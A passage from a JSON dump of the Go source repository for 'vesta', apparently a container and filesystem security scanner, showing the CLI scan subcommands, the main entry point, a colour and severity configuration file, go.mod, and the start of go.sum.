inspector\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"tarType\", \"container\")\n\t\t\tctx = context.WithValue(ctx, \"output\", outfile)\n\t\t\tctx = context.WithValue(ctx, \"skip\", skipUpdate)\n\n\t\t\tif len(args) < 1 && tarFile == \"\" {\n\t\t\t\tfmt.Println(\"Require at least 1 argument.\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\tvar tarIO []io.ReadCloser\n\n\t\t\tif tarFile == \"\" {\n\t\t\t\tvar err error\n\t\t\t\ttarIO, err = inspector.GetTarFromID(ctx, args[0])\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif tarFile == \"\" && len(tarIO) < 1 {\n\t\t\t\tlog.Printf(\"Cannot get tarfile. \" +\n\t\t\t\t\t\"Make sure that you have the right container ID\" +\n\t\t\t\t\t\"or use -f to get from tar file\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tinternal.DoScan(ctx, tarFile, tarIO)\n\t\t},\n\t}\n\n\tfileSystemCheck := &cobra.Command{\n\t\tUse:   \"fs\",\n\t\tShort: \"input from path of filesystem\",\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tctx := config.Ctx\n\t\t\tctx = context.WithValue(ctx, \"tarType\", \"filesystem\")\n\t\t\tctx = context.WithValue(ctx, \"output\", outfile)\n\t\t\tctx = context.WithValue(ctx, \"skip\", skipUpdate)\n\n\t\t\tif len(args) < 1 {\n\t\t\t\tfmt.Println(\"Require path of filesystem.\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\tinternal.DoScan(ctx, args[0], nil)\n\n\t\t},\n\t}\n\n\timageCheck.Flags().StringVarP(&tarFile, \"file\", \"f\", \"\", \"path of tar file\")\n\timageCheck.Flags().StringVarP(&outfile, \"output\", \"o\", \"output\", \"output file location\")\n\timageCheck.Flags().BoolVar(&skipUpdate, \"skip\", false, \"skip the updating\")\n\n\tcontainerCheck.Flags().StringVarP(&tarFile, \"file\", \"f\", \"\", \"path of tar file\")\n\tcontainerCheck.Flags().StringVarP(&outfile, \"output\", \"o\", \"output\", \"output file location\")\n\tcontainerCheck.Flags().BoolVar(&skipUpdate, \"skip\", false, \"skip the updating\")\n\n\tfileSystemCheck.Flags().BoolVar(&skipUpdate, \"skip\", false, \"skip the updating\")\n\tfileSystemCheck.Flags().StringVarP(&outfile, \"output\", \"o\", \"output\", \"output file location\")\n\n\tscanCmd.AddCommand(imageCheck)\n\tscanCmd.AddCommand(containerCheck)\n\tscanCmd.AddCommand(fileSystemCheck)\n\n\trootCmd.AddCommand(scanCmd)\n\n}\n"
  },
  {
    "path": "cmd/vesta/main.go",
    "content": "package main\n\nimport (\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/kvesta/vesta/cli\"\n)\n\nfunc main() {\n\tif err := cli.Execute(); err != nil {\n\t\tlog.Printf(\"%v\", err)\n\t\tos.Exit(1)\n\t}\n}\n"
  },
  {
    "path": "config/conf.go",
    "content": "package config\n\nimport (\n\t\"context\"\n\n\t\"github.com/fatih/color\"\n)\n\nvar (\n\tYellow = color.New(color.FgYellow).SprintFunc()\n\tRed    = color.New(color.FgRed).SprintFunc()\n\tGreen  = color.New(color.FgGreen).SprintFunc()\n\tPink   = color.New(color.FgMagenta).SprintFunc()\n\n\tCtx = context.Background()\n\n\tSeverityMap = map[string]int{\n\t\t\"critical\": 5,\n\t\t\"high\":     4,\n\t\t\"medium\":   3,\n\t\t\"low\":      2,\n\t\t\"warning\":  1,\n\t}\n)\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/kvesta/vesta\n\ngo 1.18\n\nrequire (\n\tgithub.com/BurntSushi/toml v0.3.1\n\tgithub.com/docker/docker v20.10.17+incompatible\n\tgithub.com/fatih/color v1.13.0\n\tgithub.com/knqyf263/go-rpmdb v0.0.0-20221030135625-4082a22221ce\n\tgithub.com/mattn/go-sqlite3 v1.14.15\n\tgithub.com/microsoft/go-rustaudit v0.0.0-20220808201409-204dfee52032\n\tgithub.com/sergi/go-diff v1.3.1\n\tgithub.com/spf13/cobra v1.5.0\n\tgithub.com/tidwall/gjson v1.14.1\n\tk8s.io/apimachinery v0.22.5\n\tk8s.io/client-go v0.22.5\n)\n\nrequire (\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/go-logr/logr v1.2.2 // indirect\n\tgithub.com/go-ole/go-ole v1.2.6 // indirect\n\tgithub.com/gogo/protobuf v1.3.2 // indirect\n\tgithub.com/google/go-cmp v0.5.6 // indirect\n\tgithub.com/google/gofuzz v1.2.0 // indirect\n\tgithub.com/google/uuid v1.3.0 // indirect\n\tgithub.com/googleapis/gnostic v0.5.5 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.0.0 // indirect\n\tgithub.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect\n\tgithub.com/mattn/go-colorable v0.1.9 // indirect\n\tgithub.com/mattn/go-isatty v0.0.14 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.9 // indirect\n\tgithub.com/moby/spdystream v0.2.0 // indirect\n\tgithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect\n\tgithub.com/modern-go/reflect2 v1.0.2 // indirect\n\tgithub.com/morikuni/aec v1.0.0 // indirect\n\tgithub.com/pkg/errors v0.9.1 // indirect\n\tgithub.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect\n\tgithub.com/spf13/pflag v1.0.5 // indirect\n\tgithub.com/stretchr/testify v1.8.1 // indirect\n\tgithub.com/tidwall/match v1.1.1 // indirect\n\tgithub.com/tidwall/pretty v1.2.0 // indirect\n\tgithub.com/tklauser/numcpus v0.6.0 // indirect\n\tgolang.org/x/mod v0.4.2 // indirect\n\tgolang.org/x/sys v0.2.0 // indirect\n\tgolang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect\n\tgolang.org/x/text v0.3.7 // indirect\n\tgolang.org/x/tools v0.1.1 // indirect\n\tgolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect\n\tgopkg.in/inf.v0 v0.9.1 // indirect\n\tgopkg.in/yaml.v2 v2.4.0 // indirect\n\tk8s.io/klog/v2 v2.30.0 // indirect\n\tlukechampine.com/uint128 v1.1.1 // indirect\n\tmodernc.org/cc/v3 v3.36.0 // indirect\n\tmodernc.org/ccgo/v3 v3.16.6 // indirect\n\tmodernc.org/libc v1.16.7 // indirect\n\tmodernc.org/mathutil v1.4.1 // indirect\n\tmodernc.org/memory v1.1.1 // indirect\n\tmodernc.org/opt v0.1.1 // indirect\n\tmodernc.org/sqlite v1.17.3 // indirect\n\tmodernc.org/strutil v1.1.1 // indirect\n\tmodernc.org/token v1.0.0 // indirect\n\tsigs.k8s.io/structured-merge-diff/v4 v4.1.2 // indirect\n\tsigs.k8s.io/yaml v1.2.0 // indirect\n)\n\nrequire (\n\tgithub.com/Microsoft/go-winio v0.5.2 // indirect\n\tgithub.com/docker/distribution v2.8.1+incompatible // indirect\n\tgithub.com/docker/go-connections v0.4.0 // indirect\n\tgithub.com/docker/go-units v0.4.0 // indirect\n\tgithub.com/golang/protobuf v1.5.2 // indirect\n\tgithub.com/hashicorp/go-version v1.6.0\n\tgithub.com/imdario/mergo v0.3.12 // indirect\n\tgithub.com/json-iterator/go v1.1.12 // indirect\n\tgithub.com/knqyf263/go-rpm-version v0.0.0-20220614171824-631e686d1075\n\tgithub.com/moby/term v0.0.0-20210619224110-3f7ff695adc6 // indirect\n\tgithub.com/olekukonko/tablewriter v0.0.5\n\tgithub.com/opencontainers/go-digest v1.0.0 // indirect\n\tgithub.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 // indirect\n\tgithub.com/shirou/gopsutil v3.21.11+incompatible\n\tgithub.com/sirupsen/logrus v1.9.0 // indirect\n\tgithub.com/tklauser/go-sysconf v0.3.11 // indirect\n\tgithub.com/yusufpapurcu/wmi v1.2.2 // indirect\n\tgolang.org/x/net v0.0.0-20220722155237-a158d28d115b // indirect\n\tgolang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 // indirect\n\tgolang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 // indirect\n\tgoogle.golang.org/appengine v1.6.7 // indirect\n\tgoogle.golang.org/protobuf v1.28.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1\n\tgotest.tools/v3 v3.3.0 // indirect\n\tk8s.io/api v0.22.5\n\tk8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed // indirect\n)\n\nreplace golang.org/x/sys => golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab\n"
  },
  {
    "path": "go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ncloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=\ncloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=\ncloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=\ncloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=\ncloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=\ncloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=\ncloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=\ncloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=\ncloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=\ncloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=\ncloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=\ncloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=\ncloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=\ncloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=\ncloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=\ncloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=\ncloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=\ncloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=\ncloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=\ncloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=\ncloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=\ncloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=\ncloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=\ncloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=\ncloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=\ncloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=\ncloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=\ncloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=\ncloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=\ndmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=\ngithub.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1 h1:UQHMgLO+TxOElx5B5HZ4hJQsoJ/PvUvKRhJHDQXO8P8=\ngithub.com/Azure/go-ansiterm v0.0.0-20210617225240-d185dfc1b5a1/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E=\ngithub.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=\ngithub.com/Azure/go-autorest/autorest v0.11.18/go.mod h1:dSiJPy22c3u0OtOKDNttNgqpNFY/GeWa7GH/Pz56QRA=\ngithub.com/Azure/go-autorest/autorest/adal v0.9.13/go.mod h1:W/MM4U6nLxnIskrw4UwWzlHfGjwUS50aOsc/I3yuU8M=\ngithub.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74=\ngithub.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k=\ngithub.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=\ngithub.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=\ngithub.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/Microsoft/go-winio v0.5.2 h1:a9IhgEQBCUEk6QCdml9CiJGhAws+YwffDHEMp1VMrpA=\ngithub.com/Microsoft/go-winio v0.5.2/go.mod h1:WpS1mjBmmwHBEWmogvA2mj8546UReBk4v8QkMxJ6pZY=\ngithub.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=\ngithub.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=\ngithub.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=\ngithub.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=\ngithub.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=\ngithub.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=\ngithub.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=\ngithub.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/docker/distribution v2.8.1+incompatible h1:Q50tZOPR6T/hjNsyc9g8/syEs6bk8XXApsHjKukMl68=\ngithub.com/docker/distribution v2.8.1+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w=\ngithub.com/docker/docker v20.10.17+incompatible h1:JYCuMrWaVNophQTOrMMoSwudOVEfcegoZZrleKc1xwE=\ngithub.com/docker/docker v20.10.17+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=\ngithub.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKohAFqRJQ=\ngithub.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec=\ngithub.com/docker/go-units v0.4.0 h1:3uh0PgVws3nIA0Q+MwDC8yjEPf9zjRfZZWXZYDct3Tw=\ngithub.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=\ngithub.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE=\ngithub.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=\ngithub.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=\ngithub.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc=\ngithub.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=\ngithub.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=\ngithub.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=\ngithub.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=\ngithub.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=\ngithub.com/evanphx/json-patch v4.11.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=\ngithub.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=\ngithub.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=\ngithub.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=\ngithub.com/form3tech-oss/jwt-go v3.2.3+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=\ngithub.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=\ngithub.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=\ngithub.com/go-logr/logr v0.4.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=\ngithub.com/go-logr/logr v1.2.0/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=\ngithub.com/go-logr/logr v1.2.2 h1:ahHml/yUpnlb96Rp8HCvtYVPY8ZYpxq3g7UYchIYwbs=\ngithub.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=\ngithub.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=\ngithub.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=\ngithub.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=\ngithub.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8=\ngithub.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=\ngithub.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=\ngithub.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=\ngithub.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=\ngithub.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=\ngithub.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=\ngithub.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=\ngithub.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=\ngithub.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=\ngithub.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=\ngithub.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=\ngithub.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=\ngithub.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=\ngithub.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=\ngithub.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=\ngithub.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=\ngithub.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=\ngithub.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp 